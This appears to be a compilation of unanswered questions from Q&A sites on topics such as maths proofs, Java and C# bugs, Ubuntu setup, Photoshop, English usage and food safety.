After noticing a burning smell in the kitchen and then smoke from the back of our GE Range, my wife and I discovered that the terminal block was incredibly hot and melting on one side. We unplugged, no fuses blew. The wires from the terminal block are not discolored but there is discoloration from heat around the oven element connections, the insulation around the leads is slightly charred. Can I safely replace the block and expect normal operation or is the discoloration around the element leads indication of a greater problem?


Show that for any a in $\mathbb{R}$  $$\lim_{n\to ∞}    \frac{a^n}{n!} = 0. $$ Hint: There exists a $n\in\mathbb{N}$ such that $n > |a|.$  I really do not know how to begin here with the proof and I would appreciate your help.


why this code is printing 20 20 instead of 20 10?

package package1; public class MyClassA {     protected int size;     public MyClassA() {     }     protected int getAge() {         return 10;     }     public int callAge() {         return getAge();     } }  package package2; import package1.MyClassA; public class MyClassB extends MyClassA {     protected int getAge() {     return 20;     }     private int superesult() {         return super.callAge();     }     public static void main(String args[]) {         MyClassB classb = new MyClassB();         System.out.println(classb.getAge());         System.out.println(classb.superesult());     } }   when i am calling getAge and superresult methods i am expecting 20 10 as output but code is printing 20 20. Thanks in advance.


Could the tags autocomplete widget please show more than six options?

When specifying the tags when asking/editing a question, it seems that there is a constraint to show a maximum of six matches, which really is awfully unhelpful if you are trying to find the most relevant tag, and have no way of ascertaining which other tags contain your partial-match pattern, beyond the few that the site has selected.  Can this restriction be removed, so that we can scroll through all of the matches?  Or perhaps a "show all matches" link added, so that you can at least ask to see the rest, even if it's not the default behaviour?


The number of 1’s that are in the same position in Num and Parity Mask

I am giving a function to write as part of my program that takes as input a short integer num, and a short integer parity mask. The function then return the number of 1’s that are in the same position in num and in the parity mask. for example, if you enter num as 0x8 and parity mask as 0x9 then it return 1. (since 0x8 = 00001000 and 0x9 = 00001001 so they both have a 1 at position 3).  I have looked everywhere online trying to find a simple way to implement it but couldn't find anything similar to it.  Could someone please explain to me how to write this function or give some suggestion on how to start?  Thank you


Consider the following macro:  \newcommand{\sxfigure}[4]{ \includegraphics[width=#1*#3 cm, height=#2*#3 cm]{#4} }   #1 and #2 is some value to determine the width and height of the figure, #3 is to control the zoom ratio. However, the above code doesn't work. Could someone provide a solution? I have tried the following, still not work. Could some point out the mistake?  \usepackage{pgf} \newcommand{\sxmultiply}[2]{\pgfmathparse{#1*#2}\pgfmathresult} \newcommand{\sxfigure}[5]{ \begin{figure} \begin{center} \includegraphics[width=$\sxmultiply{#3}{#5}$ cm, height=$\sxmultiply{#4}{#5}$ cm]{#1} \end{center} \caption{#2} \end{figure} }


If uncooked rice is soaked for 2 days, is it still safe to eat (after it's cooked)?

I completely forgot I soaked the rice on Monday night. It was completely submerged in water. Left at room temperature. If I cook it now, would it be safe to eat?


How much of the manga does the first season of Attack on Titan cover?

Assuming the anime follows the manga, how many chapters does the first season span?


Where and how do I find the *desktop*.iso file needed to install Universal USB Installer? I need it to install Ubuntu

Or maybe I don't have that iso file. How do I have it? Where can I get it?


Running command sudo apt-get update, getting error "Error while moving old databse out of the way" App stream cache update failed

Error while moving old database out of the way. App stream cache update failed


im a newbie in salesforce. can you guys create a test class for this codes below? public class AccountTriggerHandler {     public static void methodBeforeInsert (List<Account> accounts){         for(Account acc :accounts){             if (acc.BillingStreet == Null || acc.BillingCity == Null || acc.BillingPostalCode == Null || acc.BillingState == Null || acc.BillingCountry == Null){                 acc.addError('Billing Street must be populated');             }         }     }          public static void methodAfterInsert (List<Account> accounts){         List<Contact> conList = new List<Contact>();         for(Account acc :accounts){             Contact con = new Contact (LastName           = acc.name,                                         AccountId          = acc.id,                                        MailingStreet      = acc.BillingStreet,                                        MailingCity        = acc.BillingCity,                                        MailingPostalCode  = acc.BillingZip,                                        MailingState       = acc.BillingState,                                                               MailingCountry     = acc.BillingCountry);                          conList.add(con);         }         insert conList;     }          public static void methodBeforeUpdate (List<Account> accounts){         for(Account acc :accounts){             if (acc.BillingStreet == Null || acc.BillingCity == Null || acc.BillingPostalCode == Null || acc.BillingState == Null || acc.BillingCountry == Null){                 acc.addError('Billing Street must be populated');             }         }             }      public static void methodAfterUpdate (Map<Id, Account> accountMap){         List<Contact> conList = new List <Contact>();         Set<Id> accountIds = accountMap.keySet();         List<Contact> relatedContacts = [SELECT Id, Name, AccountId FROM Contact WHERE AccountId IN: accountIds];         for(Contact con :relatedContacts){             con.MailingStreet = accountMap.get(con.AccountId).BillingStreet;             con.MailingCity =a ccountMap.get(con.AccountId).BillingCity;             con.MailingPostalCode = accountMap.get(con.AccountId).BillingPostalCode;             con.MailingState = accountMap.get(con.AccountId).BillingState;                                    con.MailingCountry = accountMap.get(con.AccountId).BillingCountry;                            conList.add(con);         }         update conList;     } }  I tried creating a test class in the first part @isTest public class AcountTestClass {          @isTest static void accountBeforeInsert() {         Account newCon = new Account();         newCon.Name              = 'Test 2';         newCon.BillingStreet     = '442 DSAA';         newCon.BillingCity       = 'Phoenix';         newCon.BillingPostalCode = '85009';         newCon.BillingState      = 'AZ';         newCon.BillingCountry    = 'US';         insert newCon;  Im 100% noob and is self studying apex.


Proof verification - Minimal polynomial of $\alpha$ has integer coef.s iff its an alg. integer

I want to prove the following theorem: Theorem. The minimal polynomial of $\alpha$ has integer coefficients if and only if $\alpha$ is an algebraic integer. Here is what I have done and I want to ask whether it has any problematic parts or not: ($\implies$) part is trivial. For the converse, let $q(X) \in \mathbb{Q}[X]$ be the minimal polynomial of $\alpha$ and $f(X) \in \mathbb{Z}[X]$ such that $f(\alpha)=0$. Then, since $q(X)$ is the minimal polynomial of $\alpha$, $f(X)=q(X)r(X)$ for some $r(X) \in \mathbb{Q}[X]$. Assume that $q$ has at least one non-integer coefficient. Define $ V = lcm\{$denominators of coefficients of $q(X) \}$. $ U = lcm\{$denominators of coefficients of $r(X) \}$. Then, $UVf(X) \equiv 0$ modulo ($UV$) but $Vq(X)Ur(X) \equiv UVq(X)r(X) \not \equiv 0$ . So, I think we are done.


Bad guy: Come on, Tin Man, just pull the trigger.   Pull it.   You can run.   Go on.   Run.   Run!   There you go.   Run. Run!      --Robocop 2014   I have come across numerous "There you go." in movies. I have looked it up in dictionaries, but I couldn't well fit the meanings to the scene.  Would you explain how and when this idiomatic expression is used in daily conversation.


How to evaluate $\int_0^1 \frac{\log x}{x-1}dx$

$$I = \int_0^1 \frac{\log x}{x-1}dx$$ I tried to let $\log x = t \implies dx = e^t dt$ $$I = \int_0^1 \frac{te^t}{e^t-1}dt = \frac12+\int_0^1 \frac{t}{e^t-1}dt$$ I could not go further than this step, other than prove that $I > \frac12$.


Can't initialize variables on strings in java

Before you jump at me saying this is already answered, yes I know its answered but all questions are different,on the answered questions they use code that i have still no knowledge therefore I cannot tell what im doing wrong. Anyways getting into my error I get an error saying can't initialize variable String admin2, basically Im trying to make a password program, I know exactly what I need to change but I don't know what I have to do in order to make it work. Here is the error:  public static void main (String[] args){       Scanner input = new Scanner(System.in);      bacon baconObject = new bacon();       int password;       String admin;       String temp;       System.out.println("What is your username");       temp = input.nextLine();      System.out.println("What is your password ");     password = input.nextInt();      temp = admin;      if(temp == admin2 && password == 123){          System.out.println("Correct signing in......");      }else{          System.out.println("Incorrect!");     }        }  }


Guess the formula for $\sum\frac 1{(4n-3)(4n+1)}$ and prove by induction

For $n \ge 1$, let   $$a_n = \dfrac1{1 \cdot 5} + \dfrac1{5 \cdot 9} + \cdots + \dfrac1{(4n-3)(4n+1)}.$$   Guess a simple explicit formula for $a_n$ and prove it by induction.   So I have guessed the formula as : $$\frac{n}{4n+1}$$   But wasn't sure how to prove it by induction


$F$ is an anti derivative of $f$.  $$\int f(x) dx = F(x)+C$$  Can you tell me why there is '$dx$' in the LHS?


How to make (and save) custom warps in photoshop?

So, I'm doing a picture in Photoshop, and I'm gonna need to use the warp tool to, well, warp layers. Many of them. And I need to be precise. So I'd like to be able to save the current warp, and be able to apply it next time. Or, alternatively, I'd like to be able to edit one of these few already saved warps that can be selected from the droplist.   Is it possible? It should be, right?


Is there a direct physical interpretation for the complex wavefunction?

The Schrödinger equation in non-relativistic quantum mechanics yields the time-evolution of the so-called wavefunction corresponding to the system concerned under the action of the associated Hamiltonian. And this wavefunction is, in general, complex, and its modulus squared yields the probabilities observed experimentally. Though, perhaps, this question has been asked many times, I am wondering if there is a direct physical interpretation - something that physically corresponds to - the wavefunction. Or is it just an intermediate calculational tool to arrive at the appropriate predictions for experimental outcomes, and nothing more? Of course, things like superposition and interference effects follow from the complex nature of the probability amplitude. So there must be something physical about it. What is it? Or are we not supposed to ask that question? Is it because the probability amplitude is complex that we have difficulty in relating it to something physical? Can we do quantum mechanics without complex numbers?


Find the population size that maximizes the probability that two random samples of size $20$ will have exactly $2$ members in common

Ten fish are caught in a lake, marked, and then returned to the lake. Two days later 20 fish are again caught, 2 of which have been marked.  (a) Find the probability of 2 of the 20 fish being marked if the lake has $k$ fish (assuming the fish are caught at random). (b) What value of k maximizes the probability?    Progress:     I got the (a), $$\binom{10}{2}\binom{k-10}{18}\bigg/ \binom{k}{20}$$ But how do I get part (b) where $k$ is to maximize the probability?


Sql phpmyadmin foreign language characters

I have a problem in phpmyadmin when i write in a foreign language in my case Turkish I write the text in phpmyadmin and on my website does not show the foreign characters. In phpmyadmin i changed collation to turkish utf8 but stil does not work. here is an example how it looks on my website


What is the scope of environment variables defined in ~/.bashrc?

Considering that environment variables defined in a shell are available to the child processes of the shell. When we open a terminal, it reads .bashrc and executes its commands. That means the .bashrc is available to all the terminals.  I want to know whether the environment variables of bashrc are available to  those scripts which are run periodically at fixed intervals? i.e. We manually do not open a terminal to run these scripts. What if I start QtCreator by clicking on the desktop icon? Will the environment variables of bashrc be available to this QtCreator process? Why? If not, then what will be the way to supply environment variables to those scripts which do not physically open a terminal?  Please include references while answering.


friends around the world!  I need to show the following:  Let $f(z):\mathbb{C}\rightarrow \mathbb{C}$ an analytic function such that  $$|f(z)-1| < 1$$  in $\Omega \subset \mathbb{C}$  Then  $$ \int_{\gamma} \frac{f'(z)}{f(z)}dz = 0 $$  IDEAS:  There is some result that might be helpful:  Theorem: The integral   $$ \int_{\gamma} pdx + qdy  = 0$$  iff the integral defined in $\Omega$ depends only on the end points of $\gamma$  iff there is a function $U(x,y)$ in $\Omega$ with the partial derivatives $\frac{\partial U }{\partial x} = p$, $\frac{\partial U}{\partial y} = q$.  However I am not sure how to use the hypothesis $|f(z)-1| < 1$.   Can anyone help me?


is there a command that kills all horses and nothing else?


Calculating resistor for LEDs with different Forward Voltages in series

I need to work out what resistor I need for a series circuit containing 3 LEDs of 2 different types, and a 9v battery.  I can do the maths, but I need to check I'm doing it right as I'm trying to learn this from what I can google!  LED1 VF = 3.2V @ IF = 20mA LED2 VF = 2.2V @ IF = 20mA  Both LEDs have a Forward Current of 20mA at these Forward Voltages.  The circuit will contain 2x LED1 and 1x LED2.  So, using R = (VS - VF) / IF, do I calculate the total VF as 3.2V + 3.2V + 2.2V, therefore VF = 8.6V?  Using the figures I have, I get:  (9 - 8.6) / (20 / 1000) = 20 ohm, so I'd need a 20Ω resistor?  Also, can anyone advise what type of resistor would be best?


If we let $U_1, U_2, U_3,..., U_n$ be uniform (0,1), find $$\mathbb E[\sum_{i=0}^n iU_i^{i-1}]$$which, using the linearity of expectation, gives $$\sum_{i=0}^n \mathbb E[i U_i^{i-1}]$$  Doing this summation gives us $$\Bbb E[U_1^0]+\Bbb E[2U_2^1]+\Bbb E[3U_3^2]+...+\Bbb E[nU_n^{n-1}]$$$$=1+1+1+...$$ Which is equal to $\infty$, or rather equals infinty in the limit $n\to \infty$.  How can an expected value be infinte? How would one give this answer if asked to 'find' the expected value? Does this mean that the expected value does not exist? Or have I miscalculated this - it seems unlikely that a finite sum should give an infinite answer.


How to allow non-identified developpers'app

I'm wondering how to allow non-identified developers' apps since I updated my MacBook Pro to macOS Sierra.     This option seems to have disappeared.   Can someone help?


I am conducting clustering analysis in which I am using three clustering algorithms K-means, Spectral Clustering, and Hierarchical clustering on 3 datasets in UCI repository.   I have used R packages to conduct clustering analysis and got the results such as Size of clusters, cluster vector, cluster means, Within cluster sum of squares, and grouping of cluster by Class.   Following is an example of my K-means on the Pima Indian diabetes data in UCI repository:  diabetes <- read.csv(url("http://archive.ics.uci.edu/ml/machine-learning-databases/pima-indians-diabetes/pima-indians-diabetes.data"), header = FALSE)  names(diabetes)<- c("No.ofTimesPregnant", "GlucoseConcentration", "BloodPressure", "TricepSkinThickness", "insulin", "BMI", "PedigreeFunction", "Age", "Class")   set.seed(20)  KmeansCluster <- kmeans(diabetes[, 1:8], 4, nstart = 20, iter.max=10)  pcol <- as.character(diabetes$Class) pairs(diabetes[1:8], pch = pcol, col = c("green", "red") KmeansCluster$cluster]) KmeansCluster table(KmeansCluster$cluster, diabetes$Class)   I wish to know how I can compare the results of each clustering algorithm? So that I can say that particular clustering algorithm is best for this dataset. More specifically to say, what metric should I choose and how I can get that metric in R (For example, it would be helpful if you could tell me how to get those metric on my above R code for K-means)?.    As I know the diameter of the cluster and average distance of each cluster is used as a measure to compare clustering algorithm in general.


What is the most efficient way to mine Diamonds in Minecraft?

I need to mine a lot, and I mean A LOT of diamonds. What is the most efficient way to do so?


Where can I ask questions on social media?

I want to ask questions on how to make my social media usage more efficient.   Questions like:   Ask for tips  How to get more facebook-page fans or twitter followers Which tools are available for facebook and/or twitter users to get insights on their social media activities.   Where can I ask such questions?


A word for the person after whom someone or something is named

I believe it's a common practice in some communities to name children after their grandparents or parents or relatives and sometimes even friends and popular people. Places, roads, streets etc., get named after famous people, too. Many inventions and discoveries have been named after people who invented or discovered them.  But I am not yet aware of a term that refers to the person whose name is given to people, places or objects this way. Is there a suitable word to fill in the blank below?     They named their son after the famous football player, David Beckham.      David Beckham is .......... of their son.


How to punch through all the layers in Adobe Illustrator?

So I have this image as vector and a grunge image as vector:     I can easily mask the grunge part from the image in Photoshop:    But when I try to do this on Illustrator with pathfinder always get funky results:    I can use the Pathfinder tool on simple one object at a time, subtract from front etc..  But how can I make this with these all layers and groups?


How to make a figure span on two columns in a scientific paper?

If I just try to set the figure's size to 0.9\textwidth my figure will just end up on the right column, sized to be two-columns wide.  Has anyone done this before?


Why size of c++ dynamic array is not changed?

Hi guys I tested c++ dynamic array and I changed  2 inputs every time. but array size is not changed. Why? #include <iostream>  using namespace std;  int main() { int r = 0; int c = 0; int cnt = 1;  cin >> r; cin >> c;  int** arr1 = new int* [r];   for (int i = 0; i < r; i++) {     arr1[i] = new int[c]; }  cout << sizeof(arr1) << endl; cout << sizeof(arr1[0]); }   I knew that If I entered two value 3 and 4 then results are 3 and 4   but the results are 4 and 4


Survival probability up to time $n$ in a branching process.

Let $\{Z_n : n=0,1,2,\ldots\}$ be a Galton-Watson branching process with time-homogeneous offspring distribution $$\mathbb P(Z_{n,j} = 0) = 1-p = 1 - \mathbb P(Z_{n,j}=2), $$ where $0<p<1$. That is, $Z_0 = 1$ and $$Z_n = \sum_{j=1}^{Z_{n-1}}Z_{n,j}$$ for $n\geqslant 1$. Let  $$T=\inf\{n : Z_n=0\} $$ be the extinction time of the process. I want to find $$t_n := \mathbb P(T>n), $$ i.e. the probability that the process survives up to time $n$. I found the following recurrence:  $$t_{n+1} = p(2t_n - t_n^2)$$ (with $t_0=1$) from this mathoverflow question:   I checked the recurrence for small values of $n$, and confirmed that $t:=\lim_{n\to\infty} t_n$ satisfies $$ t = p(2t - t^2),$$ both in the case where $t=0$ $\left(p\leqslant\frac12\right)$ and where $t=2-\frac1p$ $\left(p>\frac12\right)$. So I'm fairly confident this recurrence is valid. However, I have no idea how to solve it.  For context, this problem comes from Adventures in Stochastic Processes by Sidney Resnick:   From @Did's comment, it appears to be intractable to find a closed form for $\mathbb P(T>n)$. I find it curious that the question would be asked were it not, though.


If I want to open  I get a error saying  Error 310 (net::ERR_TOO_MANY_REDIRECTS)  in Chrome. In IE the site tries to load a few seconds but fails too. I almost could not send the question because I got an error saying too many requests from my IP.


I currently run MacOS 10.12.4 Sierra on a mid-2011 iMac.  I want to upgrade to 10.13 High Sierra.  On the App Store, the only option (after Sept 24) is 10.14 Mojave.  Where should I go to get High Sierra?  If I go to ,  there are many different download options, but they all are updates, such as 10.13.6.


Firmware/driver for Broadcom wifi card, PowerBook G4 running Ubuntu 12.04

This is my first time working with Ubuntu (or Linux), so please be patient.  I am running Ubuntu 12.04-powerpc "Precise Pangolin" on a Mac PowerBook G4 with 1.67GHz processor.  The firmware/driver for the wifi card is missing. For reasons not worth explaining, I cannot physically plug the computer into the network. I have another computer, a MacBook Pro running OSX, from which I can download files and port them by USB thumb drive.  The wifi card in the PowerBook G4 is by Broadcom. The chip is BCM4306, rev. 3. The PCI number is 14e4:4302.  I have downloaded b43-fwcutter_015-14_powerpc.deb and dropped it into the Home folder on the Ubuntu machine. However, it will not install. When I double-click, it opens with Ubuntu SoftwareCenter, but the "Install" button is inactive: I can't click it. There's a message beside the inactive button saying, "An older version of 'b43-fwcutter' is available in your normal software channels. Only install this file if you trust the origin." If I "right-click" the .deb file and open with Archive Manager, it shows me the "DEBIAN" and "usr" folders, but I'm unsure what to do from there...and fairly certain this is not the right way to do things.  Maybe I have the wrong version of b43-fwcutter for my machine/version of Ubuntu?  The documentation for this problem is a mess. It refers to all sorts of out-of-date Ubuntu versions and to an array of different "cutter" and firmware files. Maybe I'd be able to figure this out if I were a more seasoned Ubuntu user, but I have no idea why Sofware Center won't let me do the install. I would be VERY grateful for an explanation of how to get the wifi card working on this machine again. Thank you!


Disable booting of Ubuntu on a stolen PC

I live in a country where home robberies are very common. I have a ubuntu server running at home and want to protect my machine from theft. I thought it would be neat if I had a USB key that I kept in a safe place that would have to be inserted into the PC during bootup or Linux would not boot.  So if someone stole the PC when they plugged it in and tried to boot it would fail without the USB key inserted.  The other idea I had was for the ubuntu machine to query a remote server for a key file to boot. If the PC got stolen I could delete this "key file" off of the remote server to disable the stolen PC booting up.  I am not sure how to implement either of these or whether it is even possible.  Does anybody have a solution for me?


Trying to upgrade to 16.04.  Tried following  as best as I can, but soon ran into trouble by getting lots of 404 errors when I tried to replace the repositories with old-repositories (GUI Method).  Also Vivid seems to not be listed in the old-repositories directory , which seems to me to be the issue, why would it now be listed?  Any help would be much appreciated.


Do we capitalize job titles after a person's name?

Should professional, occupational and official titles be capped after a person's name?  Mike McCormack, Human Resources Director for the XYZ corporation, resigned on Friday.  If we use the definite article the, do we go lowercase?  Mike McCormack, the human resources director for the XYZ corporation, resigned on Friday.  The human resources director, Mike McCormack, resigned on Friday.  But:  Human Resources Director Mike McCormack resigned on Friday.  Are the four variations of the same sentence punctuated correctly?


So this is strange. If I have the following:  function noTypo(){return;} fucntion doSomething(){return;} fucntion doSomethingElse(){return;}   And I highlight and yank function in function noTypo(), and I invoke visual mode and paste over fucntion with p, it pastes function. Good. But Vim then copies the value that was just pasted (fucntion) into my clipboard, such that when I paste a second time, the value that gets pasted is fucntion. How do I keep the original function value in the clipboard? Am I crazy?


Correct permissions for /var/www and wordpress

I have set up a LAMP server and I have access via SSH and to the "it works" page from a web browser from inside my network (via ip address) and from outside using dyndns.  We have some Wordpress projects that sit in subdirectories in /var/www/wordpress1 /var/www/wordpress2, etc.  I cannot access these sub directories from a browser in order to set up WP--or (I assume) to see the content on a browser. I get a 403 Forbidden error on my browser.  I assume that this is a permissions problem.  Can you please tell me the proper settings for the permissions to:   Allow the developers and me to read/write. to allow WP set up and do its thing Allow visitors to access the site(s) via the web.   I should also mention that the subfolder are actually simlinks to folder on another internal hdd--I don't think this will make a difference, but I thought I should disclose.  total 12 drwxr-xr-x  2 root root 4096 2012-07-12 10:55 . drwxr-xr-x 13 root root 4096 2012-07-11 20:02 .. lrwxrwxrwx  1 root root   43 2012-07-11 20:45 admin_media ->     /root/django_src/django/contrib/admin/media -rw-r--r--  1 root root  177 2012-07-11 17:50 index.html lrwxrwxrwx  1 root root   14 2012-07-11 20:42 media -> /hdd/web/media lrwxrwxrwx  1 root root   18 2012-07-12 10:55 wordpress -> /hdd/web/wordpress   Here is the result of using chown -R www-data:www-data /var/www  total 12 drwxr-xr-x  2 www-data www-data 4096 2012-07-12 10:55 . drwxr-xr-x 13 root     root     4096 2012-07-11 20:02 .. lrwxrwxrwx  1 www-data www-data   43 2012-07-11 20:45 admin_media -> /root/django_src/django/contrib/admin/media -rw-r--r--  1 www-data www-data  177 2012-07-11 17:50 index.html lrwxrwxrwx  1 www-data www-data   14 2012-07-11 20:42 media -> /hdd/web/media lrwxrwxrwx  1 www-data www-data   18 2012-07-12 10:55 wordpress -> /hdd/web/wordpress   I am still unable to access via browser.


How to know if a JR train has unreserved seats?

On Japan, most trains have at least one car for unreserved seats but not always. Is there a way to know if a train has such seats? Unless I missed it the JR machines to book tickets and check time schedules don't give you that information.


I am using the RSA crytposytem. I have $p$, $q$ and hence $n$ and $\phi$ however I don't understand how to get $e$ such that $gcd(e,\phi)=1$  Many thanks


Why does one define the polynomial ring $R[x] := R^{(\mathbb N)}$ and not as a subset of functions?

In linear algebra, we define the polynomial ring as a set of series and then, define an addition and a multiplication which makes the set to a ring. With some homomorphisms, one reaches a structure which corresponds to the intuitive imagination of a set of polynomials. But why does one not define $R[x]$ as a subset of functions with specific properties (e.g. define $1$ to be a polynomial and recursively, when $f, g$ are polynomials, $\alpha f$ ($\alpha \in R$) and $f + g$, $f \cdot g$ are polynomials). Why does one construct a new structure where one interprets a series as polynomial and has to define addition and multiplication on series explicitly? Where is the sense of doing so and not using the concept of a function?


do files in the temporary folders get automatically deleted?

We are thinking to make our web application hosted on a windows server 2003 machine create temporary files, and "leave" it there as such. We won't manually take any action on them. So will these files get automatically deleted? Or is there some sort of policy we have to configure - like these files should get deleted after 30 days or so...  Update:  A production server will hardly get shutdown. What to do then if the files have to be deleted somehow?


Can we increase the navigation's contrast on Meta.SE?

The navigation's contrast is too low, which hampers my ability to quickly scan the navigation. I find myself many times having to concentrate and read the section I'm in. I think part of the problem is that the community logos bleed underneath the main navigation. Also the navigation text is about the same height as the community logos.  When a link is "selected/active", text state though turns a light blue that, in my opinion, is really close to the header background color. It becomes hard to read, especially links such as "Questions" and "Tags".  I vote to insert some sort of color background on selected/active links to help push it forward from the background.


I have been playing Hearthstone since the beta invites last year, and have ever since, been wondering, how you are matched in the ranked play-mode. (note that I don't look for an answer on how it worked in the beta)  When I play ranked games in Hearthstone, I can see that I get matched against players with similar ranks - most of the time. Sometimes I get matched against players with a lower rank or higher rank.   How does Hearthstone match players against each other in ranked play-mode?


I am bad at answering questions on Stackoverflow.com

The basic principles of Stack Overflow are to:   ask and get answers, and  read and answer questions.   I'm good at asking, but when it comes to answering questions I feel like a fool because I lack the skills and/or knowledge.  Unfortunately I feel constrained to answer questions because otherwise I feel as if I am cheating on the principles of the site.  To make a long story short, I feel like a dumbass and get proven to be one by not being able to answer questions.  There must be a way out of that psychological struggle.


Rebuild missing start page tiles after running CCleaner on Win8.1

I have rather unfortunately managed to remove the majority of my start page tiles from Windows 8.1 after running CCleaner.  The tiles on the home page were almost entirely removed, and less than half of the tiles present on the Apps page are still there.  This is the first time I have used it on a Windows 8 machine, and I was not expecting this behaviour. It looks as though I have enabled some options that have cleared down all the existing shortcuts, but this can be resovled manually.  After running SFC, a number of applications have returned to the Apps page, many are still missing. Most notably, Visual Studio 2013 and the Microsoft SQL administrator and associated programs. I cannot attach these to the home page.  I need to find a way to force windows to scan through all my installed programs, and to rebuild the tiles on the Apps page for any EXEs found.  I know that these applications are still installed, as I can launch them from their installation directory. For my most used applications, I have re-pinned them manually, but there are a number of other programs which are used less frequently via the text search from the start page, and without tiles on the Apps page, the Search does not find the application.


Wrong number text that resulted in Maybe?

I got a text from a wrong number saying "This is Adam...off tomorrow". Why did my phone say Maybe: Adam?


Is there a really easy way to toggle a boolean value in javascript?  So far, the best I've got outside of writing a custom function is the ternary:  bool = bool ? false : true;


how can I add an overlapped anchor in both overlapped paths automatically

How I can add an anchor point for each intersected selected paths in illustrator automatically?  I know smart Guide and add anchor point tool can do the job but it will add just one anchor in the front path only. If I use pathfinder outline or the scissors my paths get cut and I have to re-join them again one by one.


My office is not in English, so to save the document the shortcut is Ctrl B.  For me this should be bold, how can I change the mappings to the same as the English version? Is there a file I can replace to have all the shortcuts mapped?  I want to download a template, and not edit 1 by 1.


My daughter is going to have a flight with one day stopover in Casablanca. Are there places to be avoided in Casablanca for a single young woman? Which ones might they be?


Prove a real-valued function is monotonic if it is continuous on an open interval and has no local extremes

My approach is to assume that $f$ is not monotonic and then construct a local extreme by using the fact that $f$ attains its extreme values on a compact set. I can assume that  $\exists c\lt\delta$ with $f(c)\gt f(\delta)$ (or equal). I can do something similar with the fact that $f$ is not decreasing. Still, aside some a vague vision of a torturous proof by cases, I'm stuck. I have a feeling that this proof can be done in a simple way that I am missing. Could someone give me a hint? Assure me that there is a simple proof of this?


C# - WriteLine(String.Format()) method repeats first string and ignores others

I've created a C# windows form application that takes input through textboxes and writes them to a text file on a relevant button click. I have found keeping a clear layout in the resultant text file to be a challenge all the way through development, and where possible have tried to save the data from the textbox along with the label that sits next to the textbox on the console. I decided to try and tabulate the information and read up on the String.Format() method, which gives space within the string {0, -10}, and then lets you list the variable or textbox.Text that should take that place.  This works in theory, but I have found when I've tried it the method only seems to accept the first input and repeat that in all the available spaces...          consoleFile.WriteLine("--------------------------------------------------------");         consoleFile.WriteLine("Patient Name | Owner Name | Surgeon | Anaethetist | Date");         consoleFile.WriteLine(String.Format("{0, -20} | {0, -20} | {0, -20} | {0, -20} | {0, -20}",                               txtPatName.Text, txtOwnerName.Text, txtSurgName.Text, txtAnthtstName.Text, txtDate.Text));         consoleFile.WriteLine("--------------------------------------------------------");         consoleFile.WriteLine("\n\n");   In this example, I would think that each slot of {0, -20} would take a value from the relevant textbox in the list on the next line of the code. However, each slot prints out the text from the first argument of 'txtPatName.Text', meaning that the same string is written five times. So, how do I get the method to recognize the other inputs?  If I have made an obvious mistake, please have patience as I am new to the String.Format() method as of today, any help is greatly appreciated!  Mark


How far should a CAT5 cable be from a power cable?

In a few days, we will be having a small tower set up so that we can have internet connection in our rural home. We need to trench a cat-5 cable from the tower to our house but we also want to, in the same trench, run a power line out there so we are able to go farther with electrical items such as weed-eaters. What I wish to know is, how far down should the power cable be from the cat-5 as to not interfere with data signals? Both cables will be in separate conduits.


I recently took on a new client who runs a fairly active news site powered by WordPress. Part of what he wishes me to do is upgrade his WordPress version, something he's neglected to do since 3.4.2, my question is now:  Would it be feasible to upgrade to 3.8.1 straight away or should I opt for taking it in small steps (start by upgrading to 3.5, then 3.6 etc.)?   What would be appropriate security measures to take to prevent loss of data when doing this?   I reckon problems will arise with the active plugins and his current theme so will I need to do a full backup of all files a database dump or will less suffice?  Thanks in advance


the relationship between $L^p$'s norm and $L^\infty$ norm

suppose $f\in L^p(X,\mathscr{A},\mu), \forall p\in[1,\infty)$, then \begin{equation}   \| f\|_{\infty}=\lim_{p\rightarrow\infty}\| f\|_{p} \end{equation}  I can prove it on condition that $X$ is finite measure, and I think if not, it is not true, but I do not have a counterexample.   thanks


Is "forte" pronounced "fort" or "for-tay"?

I've always heard people say something like     "Pronunciation is not my [for-tay]"   ... but I feel that I've heard that the correct pronunciation is     "Confusing people is my [fort]"   What is the proper way to pronounce this word?


categorical data Analysis with too many levels

I am running multinomial logistic regression Model for rating Hotels.  I have a variable called CHAIN ID which is a bunch of numbers but there are too many such IDs, maybe around 1000. I want to include this variable in my model.  I have tried that but R is not responding.  Is there any way to deal with these many levels of that variable?


What do you call "Your blood-related brother's wife"?

Your blood-related brother's wife? If she is older or younger than you?    I came up with a discussion some time ago. But, nobody or my friends seem to know. How should I address her?     Your blood-related sister's husband?   What if they are just or god brother or god sister?


Setting layer name in composer legend as "Hidden" using PyQGIS?

Is there a way to hide a layer name in the composer legend using pyqgis as we do from the legend properties (see picture)?    The only way I've found so far is by changing the layer name in the composer legend but it will also change it in the Layers list and I don't want that.   This is the code I used:          itemLlegend = composition.getComposerItemById('Legend')         modelindex=itemLlegend.modelV2().index(0, 0)         itemLlegend.modelV2().setFlag(QgsLayerTreeModel.AllowNodeRename)         itemLlegend.modelV2().setData(modelindex,'')         itemLlegend.updateLegend()   Any idea?


Removing the word "Pages -" from the Home page Title

We have our website , we are trying to remove the "Pages -" word that appears on the page title.


Multiple one to many relationships in series

I am making DB for storing reports that have following field Ad_system, Ad_Campaing, Ad_Group, Keyword, Date, Impressions, Clicks, Conversions.Logic is that, Ad_system can have multiple Ad_Campaings, Ad_Campaing can have multiple Ad_Groups and Ad_Groups can have multiple Keywords, and for every Keyword there is a report. Should It be like this ? Because It kind of make sense to me, but it doesn't look correct. Primary key can also be:  ad.system.name for first table  ad.system.name ad.campaing.name for second table  ad.system.name ad.campaing.name ad.group.name for third table  ad.system.name ad.campaing.name ad.group.name keyword for fourth table  They will always be unique, but then Report will always have all DB columns in It, so it`s kind of redundant.  Is this approach that I have in diagram below correct ? or better one is that I just described. If I am not mistaken both should satisfy 3rd NF.   Here is diagram of DB, I can't post images yet.


I was kind of dismayed last week when the news outlets reported the dropping of "the so-called 'Mother of All Bombs'." They were quick to point out the official name was "Massive Ordinance Air Blast," but that almost seems like an acronym some pencil-pusher came up with after it was already unofficially called the Mother of All Bombs. It's just a terrible nickname for such a frightening weapon. (It put me in mind of "Big Bertha" -- what is it with big bombs being female?)  Anyway, I read an article somewhere saying that the phrase "Mother of all __" became wildly popular after Saddam Hussein used the phrase "mother of all battles" in a speech he gave in the 90's (referring to his war vs. the United States), and that he probably got the phrase from its usage in the Quran. So I tried to google "quran mother of all" but did not come up with any results. Does anyone know if this phrase is actually used in the Quran, and if there were any other significant usages in the 90's?  I can think of similar usages with "daddy" and especially "grandaddy" -- but not "grandmommy" or "grandmother."


Ubuntu installation 16.04.2 LTS Display Not Working

